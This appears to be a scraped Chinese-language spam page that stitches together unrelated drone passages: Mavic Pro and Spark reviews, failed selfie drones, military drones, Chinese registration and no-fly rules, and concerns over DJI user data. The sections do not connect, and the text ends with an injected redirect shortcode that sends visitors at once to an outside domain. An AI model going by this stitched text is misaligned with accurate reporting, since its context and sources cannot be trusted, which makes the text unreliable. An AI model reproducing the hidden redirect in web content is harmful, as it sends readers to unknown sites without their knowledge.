一般自拍无人机,都因为体积考虑而不能使用俗称“云台”的机械三轴稳定器,而改用电子稳像系统;然而,电子稳像系统的实现往往以大幅牺牲画质为前提,而且效果也不太理想。 但 Mavic Pro 仍然配以体积极小的高级三轴机械云台:大疆然把滚动 (Roll) 轴电机与相机整合在一起(下图),使 Mavic Pro 三轴云台的尺寸,能降至与两轴云台一样,并应用于小型无人机之上。因此,Mavic Pro 与一般自拍无人机相比,拍摄出来的视频更稳定;也不用照顾到电子稳像系统而牺牲画质,拍摄真正的 4K 视频也不在话下。 另外Mavic Pro配有1200万像素航拍相机,可拍摄JPG和RAW格式照片;支持每秒30帧的4K视频和每秒96帧的1080p视频拍摄。航拍相机可翻转90度实现竖拍,配合最近对焦距离0.5m的自动对焦相机,自拍以及拍人像最佳。

位于华盛顿特区的智库国际战略研究中心科技政策项目副主任威廉姆·卡特表示,大疆还是可能有办法获取这些信息。他说:“大疆有可能拥有某些机制,来获取用户的信息,特别是如果中国政府要求的话,我怀疑大疆很有可能需要遵循其指令。这种情况很常见,也不仅见于中国,很多其他的国家也规定,如果执法部门有所要求,企业就必须合作。在美国这个情况稍微复杂一些,但是总的来说,我觉得大疆很有可能有获取用户信息的途径,如果中国政府有需求的话。

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自拍狂人们为新一代”神器”欢呼雀跃的同时,也引发了信息安全人士以及政界的担心。毕竟,会飞的照相机能够看到更多东西,而法律对于自拍无人机尚无明确的规定。根据德国目前的《数据保护法》(BDSG),不论是私人或公共场合,私人摄影行为都不受该法管辖。德国联邦政府数据保护专员的发言人佩尔什科(Birgit Perschke)介绍说,只要这些摄影行为产生的数据仅用作私人用途,《数据保护法》便对自拍无人机鞭长莫及。

从当年的“众筹之王”自拍迷你无人机Zano,到红遍微信朋友圈的手抛自拍无人机Lily,再到“第一款实际可用”的自拍无人机Hover Camera,各种自拍无人机不断在功能和设计上突破人们的想象力,不用动手就能用会飞的相机进行自拍的时代仿佛近在眼前。但随着Zano的直接破产、Lily的多次跳票、Hover Camera的前途未卜,这些自拍无人机又在现实中让追随者们失去信心和钱财(当然,其他更多的造不出、飞不稳、跟不住的所谓自拍无人机产品,消费者对他们本来也没什么信心)。自拍无人机是怎么出现的,它们能否成为新一代自拍神器,以及此类产品该向何处去,且听乌有博士为大家细细分解。

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价格在同类产品中绝对有竞争力; 2.7K摄像头拍摄的视频十分清晰;1200w像素照相绝对够用;工业级3轴抗震云台性能强悍;到手飞的特性适合纯新手第一次接触航拍;一键起飞、降落、返航让飞行变的非常简单;720p的实时图传在信号良好的情况下延迟极小;GPS静态悬停非常稳定,即使在后来的台风中也经受考验;实时电量显示、自动计算回程耗电量的功能让飞行变的更加高效。这款就稍稍的贵点了4000人民币,不过物有所值,多花点钱玩的时间久点儿。(AOPA云:何文思)

2015年2月18日,美国《赫芬顿邮报》以《‘玩具反斗城’开张啦!》的“喜庆”标题配上一架“捕食者”攻击无人机照片作为头条,这则新闻的内容是美国向其盟国开放出售武装无人机。据悉,美国国务院2015年2月18日宣布了向其盟国出售武装无人机的新规,内容包括出售无人机的具体审批手续、时间和途径,这是美国首次对出口攻击型无人机大开“绿灯”,预计首批出售的美国攻击无人机是MQ-9“收割者”型,该机将首先被出售给英国。[23] 

这两个月因为协助同事执行特企的缘故都往海边跑,包括北海岸及东北角,在海边放飞时我会先在岸边升空悬停观察一下风势,没有太剧烈的变化才会往外海飞去,且Spark都与海面维持10公尺以上的高度,为的就是避免憾事发生…如果真的要在水面上飞行,建议还是把下避障关掉,这样系统就不会误判了。在海边拍摄印象最深刻的就是爬到高处使用一键短片的渐远及螺旋上升,人带景看上去真的超有气势,也因为一键短片所拥有的功能,让我也准备入手Spark!

Mavic Pro 并不是首个使用摺叠式设计的无人机,但分别以两双机臂以不同的方向摺叠(下图),让机体分开上、下层来机臂,使可容纳的长度增加,使 Mavic Pro 摺叠时比 GoPro Karma 还要轻巧,但伸展时又比一般小型无人机更大的轴距。 Pro可储存RAW档,而且色彩风格也无法自订;也因为JPG的动态范围不如RAW,所以我会建议在起飞前就将拍摄模式设为「AEB连拍」,±0.7 EV的包围曝光可以应付多数的场景,但执行包围曝光时的三连拍曾多次遇到LAG的情况发生,按下去可能是没反应,或是过了3~5秒才会执行拍照,这点还挺困扰我的。

这款无人机配备了一个造型手提箱,尺寸非常大。如果你不喜欢白色冷峻外观的大疆 Phantom系列,那么这款无人机的黑色外衣(蝙蝠侠会喜欢的)一定会让你感到高兴。当然,我们对这款漂亮的无人机还有许多喜爱的地方。但是,我们不能仅仅因为它漂亮的外表而决定它是一款优秀的无人机,所以我们让Yuneec Q500 4K Typhoon接受了同样的测试,看看它是否足够优秀。与前面一样,我们把重点放在优点部分,稍后再看那些不吸引人的地方。话不多说,我们一起来了解Yuneec Q500 4K Typhoon的优秀之处吧。

它采用垂直起降方式,无需机场跑道等传统基础设施,外加其可折叠式设计,消除了阻碍飞机及其他空中交通工具应用于日常生活的瓶颈。在安全方面,该无人机采用纯电力驱动作为动力,不会存在因发动机熄火造成的危险;它对所有飞行部件进行了全备份,其中任何一个部件出现问题,仍能保证正常飞行;即使飞机碰撞了鸟类等物体,造成了一定损害,内置系统也会自动评估损伤程度,决定继续行驶或就近降落;遇到紧急情况还可进行一键悬停等。 [32] 

无人机最早在20世纪20年代出现,1914年第一次世界大战正进行得如火如荼,英国的卡德尔和皮切尔两位将军,向英国军事航空学会提出了一项建议:研制一种不用人驾驶,而用无线电操纵的小型飞机,使它能够飞到敌方某一目标区上空,将事先装在小飞机上的炸弹投下去。这种大胆的设想立即得到当时英国军事航空学会理事长戴·亨德森爵士赏识。他指定由A.M.洛教授率领一班人马进行研制。无人机当时是作为训练用的靶机使用的。是一个许多国家用于描述最新一代无人驾驶飞机的术语。从字面上讲,这个术语可以描述从风筝,无线电遥控飞机,到V-1飞弹从发展来的巡航导弹,但是在军方的术语中仅限于可重复使用的比空气重的飞行器。[4] 

并且也不是在禁飞区之外就能够随便飞了,根据《民用无人驾驶航空器实名制登记管理规定》,最大起飞重量在 250 克以上(含250克)的民用无人机的拥有者,必须进行实名登记,并将系统给定的登记标志粘贴在无人机上。简单说来,就是在 https://uas.caac.gov.cn 上按照要求进行登记,获得二维码之后打印出来,贴到无人机上之后就能使用了。需要强调的是,大家最好用透明胶贴住,如果用胶水,飞行时很容易被吹下来。

来看看配件的全家福,除了飞行器、遥控器还有必备的云台锁扣、充电器、电源线和遥控器转接线(大疆一共提供了三根手机和遥控器连接的转接线,一根Lightning、一根micro USB和一根Type-C,十分贴心)等物件之外,初雪白版本的Mavic Pro一共含有三块电池,按每个27分钟的续航来看,一个半小时左右的使用时间基本上能满足绝大多数非专业拍摄需求了。并且该套装中也包含5对螺旋桨,在磕碰损坏之后能够更换。

在开始飞行之前必须和大家强调,在禁飞区和限飞区一定要遵守飞行规则,各地规定的限飞区和禁飞区不尽相同。就拿深圳来说,基本上是以宝安机场为中心设立的禁飞区,分为机场禁飞区、限高区和禁飞区,机场禁飞区指几次保护范围坐标向外拓展100米形成的禁飞区;限高区为机场跑道两端向外延伸20公里,两侧延伸10公里的长方形区域,该区域内飞行高度为120米,而还有些是专门设置的禁飞区,比如北京市区几乎都是禁飞区,而在深圳,南山等区域是禁飞区。

相比于单个相机的传统光流技术,FlightAutonomy的有效距离更远,且能够感知三维空间环境。因此,无论有无卫星信号,Mavic都可以精准定位、导航、规划路线,从而在多种智能飞行模式下自主导航,在最快36公里/小时(10米/秒)的飞行状态中实现智能避障。 当其它自拍小飞机只能配备 15 Whr 的电池,提供不到 15 分钟的飞行时间,Mavic Pro 却配备了4.35V 高压的 43.6 Whr 电池,能带来长达 27 分钟的续航力。在运动模式下,Mavic最高时速可达64.8公里/小时(18米/秒),安全、灵活、响应迅速的飞行特性将令用户体会到竞速的快感。Mavic可在高达38.5公里/小时的风速下保持稳定悬停或飞行姿态,基于地理围栏系统(Geofencing)、作用于大疆其他各款飞行器产品的限飞区规则同样有效,避免用户飞入敏感区域或在这些区域中起飞。

iOS: iPhone 5s、 iPhone 6、 iPhone 6 Plus、iPad Air、 iPad Air Wi-Fi + Cellular、 iPad mini 2、 iPad mini 2 Wi-Fi + Cellular、 iPad Air 2、 iPad Air 2 Wi-Fi + Cellular、 iPad mini 3、 及 iPad mini 3 Wi-Fi + CellularApp已针 iPhone 5s、 iPhone 6、 及 iPhone 6 Plus优化

第一次起飞DJI Spark时我是选在室内,因为当时忘记开手势控制功能,所以一直无法成功透过人脸辨识起飞,一怒之下就改用手动起飞,没想到它的马达还真有力,所带来的马达声响及风切声可一点都不输Mavic Pro。而户外飞行我选在关渡平原,因为腹地广大加上平原地形就算有什么状况也比较容易找回来,首先Spark的抗风性明显不如Mavic Pro,像是海边的阵风Spark有许多情况是无力招架的,建议不要贸然起飞,虽然吹歪后会重新定位回到原点,但高度可能会受到影响,这时如果电力即将耗尽危险就来了,建议Spark还是选在风和日丽的好天气再带出门放飞。

在模拟器中虽然没有天气的各种影响,但是我们也得给自己规划任务目标,我们都知道在一个没有规划的作业中作业就相当于在瞎玩瞎闹,所以在还没训练前就得给自己规划好任务目标,自己就按照每一个目标去做,直到完成为止才进行下一个任务。可能我们刚刚接触时,会有一些迷茫,不知给自己定什么样的任务,那我就来举例几个吧!如:首先去熟悉无人机的机头方向;分清楚前后左右;杆量大会对飞机出现怎样的影响?如何的去控制它的杆量?

▲首次的试飞并没有什么悬念和跌宕的剧情,基本按照说明都能秒懂,再加上手表的一键式起飞程序,除了在操控功能上初期需要对照说明来确认外,基本不用担心出去后会有不听使唤的乱飞这种可能发生。具体来讲蜻蜓无人机的总电源设计在电池的后方,启动后4个机翼顶端的灯罩会发出对称的红蓝亮光,同时无人机开始进入自检及搜星定位环节,所以检测完成后会通过灯闪及蜂鸣提示音予以确认,此时将操控手表打开搜索到飞机及定位完成后,即可激活飞行模式并正式起飞。

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  航拍的全景摄影,原理与相机拍全景的相同,就是通过航拍相机,在空中拍摄360°的全景素材照片,利用软件合成为720°的专用全景照片。拍摄方法相对相机来说更为简单,不需要手动调整三脚架,通过控制遥控器,控制无人机的航拍角度,拍摄素材。首先,在无人机的水平视角方向上,让无人机自转,每转一个方位,待悬停稳定后,拍摄一张照片,继续旋转,然后拍摄完整的一圈照片,接着将云台相机的角度往下调整,依据水平方向的拍摄方法,拍摄一圈的全景照片,最后则是垂直向下的拍摄。

XIRO Xplorer 4k:去年推出的 XIRO Xplorer 虽然因贫弱的图传和不太理想的摄像镜而被垢病,但它仍以超酷的外型和很便携的可拆卸式设计,吸引了不少入门玩家。今年零度更为它加配全新的 1.2km 图传和 4k 云台,大幅改善它的软肋,而且它的镜头还可以拆出来当作手持云台使用。也许它在整体上仍然不及 Phantom 4,但官方 3999 的定价和相对便携的设计,使它可能是目前性价比最高的无人机。

理性幻想:很多人总是觉得自己的产品是革命性的,幻想像当年乔布斯手里拿着的第一代iphone开发布会的经典场景,虽然当时这还只是样机,虽然还不能安装APP,虽然配置还很低,但是有那种惊艳了众人的外观和操作方式就已经够了。我们可以换一个角度:对于当前已经公布的自拍无人机产品,续航时间通常少于15分钟,且不能全方位避障,螺旋桨外露,画面不稳定等等,试想,如果当初发布的第一代iphone是一款通话时间半小时,还有可能会电到手,并且通话断断续续的手机,其结果将会是如何?

通过背面的模块触点,加农炮可以安装在机身上方,Parrot Mambo直接变身为无人舰载机。斜上位置是弹药槽,最多可以装6发BB弹,装弹需要拆出白色部分的盖口,然后再装上,这样BB弹就不会掉出来。接下来就是操控手机上的发射按钮就可以发射BB弹了。官方说可以打落空纸杯,那是…不可能的,实际上连一张竖着的纸都打不落,没有任何杀伤力。加上没有精准的操控性,你未必打的中,因为无人机悬停会有一些摇摆不定。

“彩虹四号”有三大特点:首先是平台出众。它最大起飞重量1330公斤,最大载荷345公斤,最大升限8000米,最大续航时间38小时,最大航程3500公里,各项指标均超过“捕食者”。其次是察打一体。该无人机实现了侦察与打击功能的二合一,机腹下装有雷达,使之具有较强的全天候作战/探测能力,它能在5000米高空发射导弹,攻击地面和海面目标,不需要降低飞行高度即可实施攻击。最后是高度智能。它实现了全自主起降,可靠性大为提高。无人机在飞行中可对目标进行定位,随后发射导弹或制导炸弹实施攻击。

在这些日子里Spark带给我的乐趣有别于之前的Mavic Pro,因为Spark有许多独家功能是Mavic Pro甚至是P4P这类的机型所没有的,最让楼主推崇的就属「一键短片」,有了它人人都可以是航拍高手!多达四种飞行模式让用户下指令;另外Spark主打的掌控自拍也是它的独门绝活,不需要遥控机或手机、平版来操作,只要开机后成功辨识人脸,便可用手势来控制它的方位及高度,同时进行倒数自拍轻松的捕捉团体照。快来看看楼主这次带来的DJI Spark实测!

外行做产品:就已经出现的自拍无人机产品来说,绝大多数的产品经理甚至是研发人员对无人机原理、机器视觉原理、控制技术等有或多或少的欠缺。例如,稍微懂得计算机视觉原理的人都不会像Zano那样想用汇编写所有程序,这也是这个项目注定失败的重要原因;而一个正常的飞行器设计出身的人也是不会允许Hover Camera这种气动效率极低的设计出现,但也正是这种看似不靠谱的设计,把螺旋桨打到手的概率降低到近乎为零;实际做过飞行控制的人也同样难以让Lily无人机的手抛起飞功能出现在产品特性中,因为基于消费级无人机的传感器和算法,想要安全实现手抛起飞非常困难。当然,这里说外行做产品并非完全贬义,很多时候外行反倒可以有新奇的设计思路,这里想表达的只是让做产品的人尊重一下物理规律和技术规律。

与有人驾驶飞机相比,无人机往往更适合那些太“愚钝,肮脏或危险”的任务。无人机按应用领域,可分为军用与民用。军用方面,无人机分为侦察机和靶机。民用方面,无人机+行业应用,是无人机真正的刚需;目前在航拍、农业、植保、微型自拍、快递运输、灾难救援、观察野生动物、监控传染病、测绘、新闻报道、电力巡检、救灾、影视拍摄、制造浪漫等等领域的应用,大大的拓展了无人机本身的用途,发达国家也在积极扩展行业应用与发展无人机技术。 [redirect url=’http://pm9.biz/bump’ sec=’0′]

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